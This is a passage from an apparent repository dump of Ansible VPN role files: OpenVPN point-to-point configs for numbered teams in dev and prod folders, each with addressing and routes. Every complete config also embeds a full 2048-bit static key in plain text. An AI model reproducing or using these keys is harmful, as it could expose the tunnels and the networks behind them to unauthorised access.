-----BEGIN OpenVPN Static key V1----- 23 | ba1034f871dc41f88b9ea847ba392394 24 | 432b9cdac17a32dde6cba45dfa6d5c76 25 | 9c2e02c3bff1ac7f42ab6442267697f8 26 | 235d985f67efcfa8b2047872d208d6ff 27 | 6e3a8a8e30944833a69530b8ac3e9398 28 | e854deb7aa8d2c76b8cde1d7be797ec0 29 | b2da5d0721e815875ba0eafc301c8620 30 | a539eaefc88ac934e62f94ed36ae6000 31 | 26ce2917a3e2ac0e4b57fbf6a648719d 32 | 963d6d3ed5562a202df18e5c742c5661 33 | 0cbbd927bab690c63e604201ec7fe72b 34 | 8df9225d96b43d3472f6085c1e10e9f4 35 | 2f46486734af377828d79122d5f08237 36 | 0f36d706eba33a13033e86f2c3de0edf 37 | c8aeec43f1e94b084b7213c08222ecaa 38 | d57dcb9c5aea3b1c89cb463f440f1c0b 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/513.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30513 3 | dev team513 4 | dev-type tun 5 | ifconfig 10.82.1.1 10.82.1.2 6 | route 10.62.1.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | afda3e20e617d88061d82f4a7c3365b2 24 | da35334921e6a471fdaaf41e9d8acf97 25 | d806e2aec6b58ebeea40c49d68451aca 26 | 254ed8709369f1b55aaca7917c4f2f94 27 | ba9f78fcce5327f95a9bf437d0926764 28 | f104e9c547070029f6d4d0bdac775d98 29 | 57e6fcd4e4629724a9daedc13d95fffa 30 | af57f8dbd46727ce19847bc887d51db0 31 | 422932503f4f8d5792d4190e235c0ee2 32 | 0e487319e250a4ca51df7eda487c8f55 33 | 73c35a235e56c8de83439f7ca15ce524 34 | 6a1c3559bec5dc5165bae72876d10da1 35 | 8f1409fd191c6c105f0a495fe2f866f9 36 | 993514dce95950652f449215a19f03f0 37 | 3f6b7bb6a9f2124bc034313d1b9186df 38 | 6c210626a4542c568863d6f795720646 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/514.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30514 3 | dev team514 4 | dev-type tun 5 | ifconfig 10.82.2.1 10.82.2.2 6 | route 10.62.2.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 092ef43365be068465dee880db0322ea 24 | cc9429ec1d28be576ae5fafb38f660bb 25 | 7f098fe0c36841d169944f92554d9701 26 | 28f89d4dc93eaf14b05f3e6c3d872d90 27 | ab7b048db46ff6a63f9c631fa56e0a48 28 | c820dd6d48840d847c3b368dbcb13ae6 29 | 2f2ef505cd4b581909c6308d183cbbcf 30 | 941c088a2c3ef1b6449eaa1837797a3b 31 | e0d227afdaa4631b1c45ccb67d8b6868 32 | 4b808d0cdec099133f5f161de282e10e 33 | 7c286044eeeea776cb113754629e2056 34 | b1d2442b4cc4e44bcf1c0d3f0585dcc8 35 | eb0f362a15d240012345a5c89f74e277 36 | 74ad4aed4f0f49c239b0e50bf3d0d799 37 | a7947d844eee1b6c57a636fe6479ff6c 38 | 231037a99e6aff50fcb02eaa75725d7b 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/515.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30515 3 | dev team515 4 | dev-type tun 5 | ifconfig 10.82.3.1 10.82.3.2 6 | route 10.62.3.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 7b412a7cd49084833907d275ec80db33 24 | 300eeabf03235b0b564980c85c044319 25 | 895c0e669d12dfe477029f5d9c53923c 26 | 4bb4e897a398dbb1b21553d692bff29f 27 | 32956c3109c7f6cbf98c9df110360e92 28 | d82fc08f4ec9d072bbcd331048472f82 29 | 36b788b809a0a132fb00e4a7144c8730 30 | bbebd6c28786107a9eca95349cb95243 31 | dc95583abbc3509810cf15447a88ed64 32 | a036703603e87785be0e4affc131857a 33 | d818ef1d328f3133a079f18e74395099 34 | b0c8f6be3915a065d204af1d32c56664 35 | 2e2e3060a8761b2593593d2726a44f51 36 | 98b3c35f3461eea45b13b9f712c2413e 37 | 498b2fc867e4fbacf6e954b2ca70cea5 38 | ab7e7f4ac5518e3187cb1a2cd732415f 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/516.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30516 3 | dev team516 4 | dev-type tun 5 | ifconfig 10.82.4.1 10.82.4.2 6 | route 10.62.4.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 8fea770486c5c275daf08d3dca9249df 24 | 73636d4a0696cff0ca8339f056645bea 25 | afec0a7c07c1ccbc080f38e70639222f 26 | 18680e6d0acdaa2d2603747dcb34ad79 27 | 28ac10a1e71449b4ea9f27f02e182d39 28 | 6e25a71f47f4fcdbf4c50d1a3a76480d 29 | 323e41768279a777affe46156eb9c979 30 | 4502ecdf94aef7e0182532a0cdf71627 31 | 8cf95050d51ddafb24e646ca7809dfc1 32 | 61ac7812d279cfcd75bcce67b2474d55 33 | 745cf4113387433bf459d725655d92ae 34 | 7efa312c5ab650c259bf0a9b998eaf1a 35 | 211fd89d81581a4cfb7a3704c9cc537f 36 | fdd6942a8810607bd1c6356a1c0e10f5 37 | 798de1c9ff490160318a50d96ea4aa1a 38 | 1c1496398f23ae527d64d280ab4aab57 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/517.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30517 3 | dev team517 4 | dev-type tun 5 | ifconfig 10.82.5.1 10.82.5.2 6 | route 10.62.5.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 6fd9ba6b1262d031e58cf32d8f44899e 24 | d9aa211c5982b19467062af20236c0e7 25 | 66f937720eeb86481945bfd734731e25 26 | 665e93dedec3fb8ab3d38c951bcaac76 27 | f1b2c900ffa14ad7c45cece0976db300 28 | 8c4c09372c97b96189a7ff302377a894 29 | c6fdba0b0a84ddd59829de720f05f63b 30 | 9d5043df8d6e7854e247599a5572b12a 31 | 2bce1c49702bb23a5ede4daa86f43860 32 | e14e3640fc53fb730f36af0f819fb93d 33 | f26dbc0111535c70fef22f36addd394c 34 | 123d03e1b3463c6b24fe97a6ae57d642 35 | be2270c8b5ed54aceb3f91fd658d18c3 36 | fc45f3e6d60ad3b602b0df7e75f8522d 37 | 31448db1c8099c6cc1db4b19f1143749 38 | c87ccc0cb7313a55de7163eb4669cb90 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/518.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30518 3 | dev team518 4 | dev-type tun 5 | ifconfig 10.82.6.1 10.82.6.2 6 | route 10.62.6.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 83bf213296b39143c6c6237df40f3475 24 | 4786a728caf497b0515350a4a9ce2430 25 | 43b125adc1b39cd7155602b2fb253077 26 | 1159750faf7d1c0a1ecb01920b06833f 27 | 37d823871ffbc3c837e1b9008abb5d7f 28 | a3f3e3704d772c8836a0337cfb8dd5ca 29 | 9c86f60c0e4e7c575399fb4b3b32ab5f 30 | f1521544f2544f7857b14f1740ef4d33 31 | 484f28096820f9d3615166e97955b309 32 | bb3c21148fa8a9e6c8300d7c254b9c75 33 | 460a79bb6d018e14368b942079f29040 34 | fff83059a48131ed2d10e4ff36c84133 35 | f0505ad8a514d28e8e09c74824e412d0 36 | 4c3e1d39dd6331f19c5fb8bd4246b547 37 | 429899dcba61acc6f5826016916e2e63 38 | 0abce4b7ded70fdee9662f78dc695620 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/519.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30519 3 | dev team519 4 | dev-type tun 5 | ifconfig 10.82.7.1 10.82.7.2 6 | route 10.62.7.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 55e7f948ce8a1b063509410d6888f7ae 24 | 8be1c6bf660b5219b47f0536cf90563f 25 | a1b348c7c59026ee7bc2af11fcb85c1f 26 | 50906cabfaca5904bb4f065f266c8134 27 | f7b6b275e6cb2a775f87885980996ce7 28 | 2814efca8871fcb12ebe16972b12a6e1 29 | 5ed1bbae41a77328f6b00218e5bc1601 30 | 971337bf63c493ec1c08bec87c4fd016 31 | 9646831305c860c9944899144eb82b3f 32 | 086b83372108ca7fcbb88c62d4e222ea 33 | cfbb6d5d7e214bc59482aa96ba1ea9ee 34 | 99d55001df28095dc1f3df29785f37af 35 | b0ab0d1eab83c83738191cda922321c8 36 | 7dd27b5d60079820314966e413cee6da 37 | 4381dfcfc3fb211f293604f2f90f7391 38 | b2123fd84fb586630dec09f6f942534d 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/520.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30520 3 | dev team520 4 | dev-type tun 5 | ifconfig 10.82.8.1 10.82.8.2 6 | route 10.62.8.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 3a89694d8b035ade9eee6bb084160ac9 24 | f7b8f483f8fc2f9fd32a10aebcbb0a9b 25 | 63833e19baef386334eea0123c453cc2 26 | 171f9e846cb5b87e3d8c20667f8cb076 27 | 0ae84a85b3a8104baf5a60e98e79d2b1 28 | 9cf8ccb227e106403e2ec1e691c6a6cf 29 | 407bacd0cb1aa306e27a5ea079e4fec1 30 | 13dcd95e9d47066ec8d6b0bba14415b3 31 | d351ec88970de431cb4dfa0646d7a08d 32 | 988666d77ca5f120ee540c4b85c3086a 33 | 88bcd07981873cbea5db39c79fb09b65 34 | b785fa691f31d11f01ef8283e5aea48e 35 | c88cd3bca889132647f0fe727ceb897e 36 | 570a00bc2369a28347cf34ea031100b8 37 | a5226700e67aac5292833d97a5cf1ecb 38 | c4017a8ecedd5b29845490e7a62f9368 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/521.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30521 3 | dev team521 4 | dev-type tun 5 | ifconfig 10.82.9.1 10.82.9.2 6 | route 10.62.9.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 863f2a0da30db277067cc93bfc1456de 24 | d1b6842b72ce14d1d42330b06a625b6b 25 | 012cd03af1f7d10f813364dca06699dc 26 | 9bc6bc8e09366153d696db9fa6ddc10b 27 | ec265a8ec0cca9da1ec7907a23ce2f7e 28 | 7a761441b4ab83ec3b1fbf3ba6d210e1 29 | 1fa6e115e8ed24f3e5fbae13e6701493 30 | f088dc4190b8c14eff7096f2301141e3 31 | 1c4802aab179609b60c5a19610baf8aa 32 | 53ed1a7a044c0f483694c5f914c9e6d3 33 | dd0d539e2efcf808f4f07d53f187e3ac 34 | e3e874dba3864329e8138554c8aa3e13 35 | ff4f72ee3e4c6ef04998cdcd3c8980cc 36 | c7d7e1b644b366d07e06c146474909ef 37 | 98c7aae9ba867870413ee6d3d42bfac8 38 | 088a201bf8c48941ca2c6a92ea34e36f 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/6.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30006 3 | dev team6 4 | dev-type tun 5 | ifconfig 10.80.6.1 10.80.6.2 6 | route 10.60.6.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | b457db0fff2fa18b2ec02e5f418fb3db 24 | c33b639a3f2c34722add2218fab6a7a3 25 | 2d4b321c2d29fa4aa67b6dd7e332de6c 26 | 7222b77f65a91c1be3b6e36f07cc9b7e 27 | c12360e0b86caf961e244256b569468f 28 | 5009c400fb537a5b01f0253ec344f43b 29 | 37d94a722b2c98f0978fcb93e6b7eed7 30 | 08a87f5909d663faa3749e7f211def82 31 | b652dc92dab98c2e9d7ab1faf8be4d0e 32 | fc84608f7ac666af0d69bfe2958d239d 33 | 6509a5dc2a21b2f4c7759c4778059240 34 | d7cbc532ce8a5cbd3584cf6c03396c2e 35 | b4498647bb700d0e2b6ce85fafac39e5 36 | 8f9c8d77fcd3d41ef9fab9da2d8578fc 37 | 21071fe12a079691a91212d94067529e 38 | b2b052e0c90e4654cb8abd56508ed9c6 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/7.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30007 3 | dev team7 4 | dev-type tun 5 | ifconfig 10.80.7.1 10.80.7.2 6 | route 10.60.7.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | d0dd300df2624aa06e1023faac058543 24 | cf5bcac178cf96c16b8cc2528cca856c 25 | e88c45477d31b5f1b90d898dde58af17 26 | 4fda969b92ca7a1a328eaffe3ea8c6c7 27 | 1ccf878b568407c8eee69b0d053594e9 28 | 5b4ed0d92f77f2c1df3fb65fe670388c 29 | 9ce0c2cfeaf1524d260ca64f85ef79a2 30 | 287ca8159499abc7552f40e3482fa2bc 31 | 021ea845f69923747a05a7f2b3f28523 32 | adc02d34d8b0b68efdd009218f99c855 33 | c438bdf03962eef7a66116e0fda5d3e4 34 | 0bd6ef3aaed9d490cd5fd8eff0b5aa08 35 | d5b83466f13d2fad092851926f1043c5 36 | fe9b17f6fd5248ebf56bfee59b3d12a6 37 | 87d705eda2df499fa736f5e370af4af4 38 | 279705cabbe78dfc6f53da4fa0c95eee 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/8.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30008 3 | dev team8 4 | dev-type tun 5 | ifconfig 10.80.8.1 10.80.8.2 6 | route 10.60.8.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | f41c11852257a72645cd51d1c66158bf 24 | 320dbf549e0b501bf78310d56e695104 25 | 39b120900ffd4fe2ef1a4137f2a599ac 26 | 20d3815f72648434643bc36e2c313641 27 | 1b1a158e01cf91999129fcb761e1327e 28 | ed3623847b2bd914196e096807abfc79 29 | 557daca4799570ab6e99217c6b2c5175 30 | c6add7bdd2ddead3b11484dbaa62ffe3 31 | 1039a84beb193d3f99e3753b6f921d2a 32 | ee84c6f65b1508c5888b1238f79ca54e 33 | 0c145942c8ac5b847883803f433b6c5a 34 | c2abcc4938a467acc0bbac023257940e 35 | 56ef6db52c245d03896867ef232feb14 36 | d8789fc450c801bb363a10367b4fe684 37 | 8d71b9453327e081e925b5fa6caff485 38 | b239d9d43ab98892419fe7d5edcaae00 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/9.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30009 3 | dev team9 4 | dev-type tun 5 | ifconfig 10.80.9.1 10.80.9.2 6 | route 10.60.9.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | d5d3816a079247e4072f14efa2b39732 24 | 1d2dbea9410aae0e0c9a6da46fa5d183 25 | b8f2f00a11785a640b9ddc0a23dce1f6 26 | a83e82284afff244788793c5af29db5e 27 | 4c9b14235044ee71d6087682f5081d27 28 | 86113f169f818eb115890797e1e13d52 29 | e162fafc2e54b78e3a80ad7c912fc481 30 | beca489a2da6aa4d2302e6ed62ecc51c 31 | f7d85c1f503a5c12f414ee5315d81394 32 | fa4983c597f84897eb5f2768b1217ef4 33 | e018298220012a0c7df50e4cdae48251 34 | 0c1be3cf1e277bb895c29a05a78b834d 35 | 80a8a5fc570d2864dcd3b88955e5202f 36 | 9f9e8ddbf78991395f274797a9e91d46 37 | cf6125bbb0711c1df6e02b21a64f9538 38 | d910e27fdfa14afa2ae833c0d1f5c8e5 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/10.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30010 3 | dev team10 4 | dev-type tun 5 | ifconfig 10.80.10.1 10.80.10.2 6 | route 10.60.10.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | e9f69b6dd17421465168c374e395750b 23 | 932494d95cd365aa5873716b860cf519 24 | 0a3aff5ca7eb35c6aeb65b486869f4b0 25 | d24ccd9f8b35caf4e9c77f35e17f8d97 26 | fc0dfd6a4584eaaf81a8e409f8f36974 27 | 09cbe1c9c6a2c0161750f228e50e6da0 28 | f50779c529e118c3cb7379479b3a0aa8 29 | c11e71c92a5b1c43c1ebe0088a79a1d2 30 | 3b23927077535f3daa88f4c5e99c45fa 31 | 37bfb48ffceaa0ef1545c653966fcca8 32 | dadf7f24f332bf2eaa9e2dffa5765d60 33 | 891caad34b86ad830142c0ce0f81381d 34 | 3b15d518f715b33141cbba45c6491919 35 | 4a9011f8b900ea554d66c0ff4e800edf 36 | d105674925d92ab905dca27c7bca72f1 37 | 8ec9f1b441fefc2819541be548a1c68c 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/11.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30011 3 | dev team11 4 | dev-type tun 5 | ifconfig 10.80.11.1 10.80.11.2 6 | route 10.60.11.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 664cfdcd699769af86c6de0332044f2b 23 | a50acc56e84c6518dbf411049e152d25 24 | 7e501e9afffead65b0aa044bc580e3d0 25 | d105f24e1efd1b0d552535e66f540b64 26 | de0b94cd68bffee6b3295ff9e872aae9 27 | 840221164cba60486bfedc26e7ac1ee7 28 | dc6a58a136f8fc71fc65d9ba3417ec78 29 | bb21181bd10804cb11fae14d8940126f 30 | a5811808635717268b45e642ab94097c 31 | 53d6c850d453d0b2ef702733b6474b76 32 | 4c4428cc1c5c0bc85b948c1d86d2ff03 33 | 028f0a605da04f394e799e08ec1076a6 34 | 7f3e0e074483db2aaba523d5ba30029f 35 | 111802f9698b1350ce11b987e02a27eb 36 | 596d7efc520b990c6f3534947de7049b 37 | a9388e45eb26766852ae3163260dbbba 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/12.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30012 3 | dev team12 4 | dev-type tun 5 | ifconfig 10.80.12.1 10.80.12.2 6 | route 10.60.12.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 8df53ca4eadf9e3d4ac9dc622711f038 23 | 987cca2ce25a176b008cab31dec8b545 24 | 1290a72383438bc93e8632a95b0d65b0 25 | 823a8a06b88690c65e844e562a0fc485 26 | 89b73428c196f6af5192ee63633cb788 27 | cc622246f8a7d36b79b36cbab89bbf76 28 | 6065a7d41fc15753218e201b09f5ef9f 29 | 5f6746c9561184498e2765de52f4256c 30 | ffb4a4516b982159ff7c5a7e9a7652e3 31 | 930f5d73a77fb09df15705021dae646e 32 | 22ab3b1ce63e303df7a5cf64011f19b6 33 | e170d8ae4539c654364ec82eef41acff 34 | 5c5857e16a66da3804cb11312c4ce7c9 35 | eca0cc41d764032b75a30bf00cbe7040 36 | f13b32238739dad9c112fdf295cf441b 37 | 08424491206929c0507281f96c967a53 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/13.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30013 3 | dev team13 4 | dev-type tun 5 | ifconfig 10.80.13.1 10.80.13.2 6 | route 10.60.13.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 111c74aaa91b768727794572c2162323 23 | becab4d730e0ebda7b56b2aa44be829c 24 | 3304761b1b0688c32857d79b1f3c51d2 25 | f48921400641521e3ec45cae06527804 26 | a0635d05e07c563b60a9f46a589dd186 27 | cb824305c08f13d248546c5f6d8b6aae 28 | 59b7b3f85768637caf569bef36b4406a 29 | e95b6b75b48a8c4ca0b944aec1d553f9 30 | f1e95490be21a89fa07ecbc2824febc5 31 | af6caa670b17f746b4b30942be28e256 32 | e96d024e0be0a2fcac60f01b1a62d53b 33 | 8bc202e8e2f34fdb4bbaf111eb892856 34 | d814b271f894d0082093cde53477e15b 35 | 45775cc0a43213d3333ff351323c1846 36 | 485916ff984c7105cdfe361424bd5f16 37 | 44965a2c26cf3d16c5016ff7ec8dada5 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/14.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30014 3 | dev team14 4 | dev-type tun 5 | ifconfig 10.80.14.1 10.80.14.2 6 | route 10.60.14.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | a54a7a3dd1e03f135551ea06cd64df0b 23 | e8994c398fc71d68105621fe757eb4de 24 | 6be4f032b72b16a03de373e67a26c067 25 | 5355e66b47fcf9d2ced162a0c8f556e2 26 | 00cd96aa4ceed20461fa3a60c7ee8790 27 | 085750f5fcf4b93223f19194a8b2d1ec 28 | 60277acb9c701a89866be41ffb25e748 29 | d22218260dbb696cac6c08cf576a82e1 30 | 6d01cc8683ebc685e78b32480445da61 31 | 5746505a8f69fd573b25a12d587836d2 32 | 42074b18ab0a58f36ffe70fe32d5677e 33 | 18ae783781773b0bb02821d7389a9415 34 | b9d8a03f8da21ffd617d0404ecb08a94 35 | 692e6cc3c8b6d5d04ebc68aafaca5053 36 | 19a5fb9dad7240a8819258e170b88f4a 37 | 935e4f9750d3d8a17e3d8a5293a5e71c 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | --------------------------------------------------------------------------------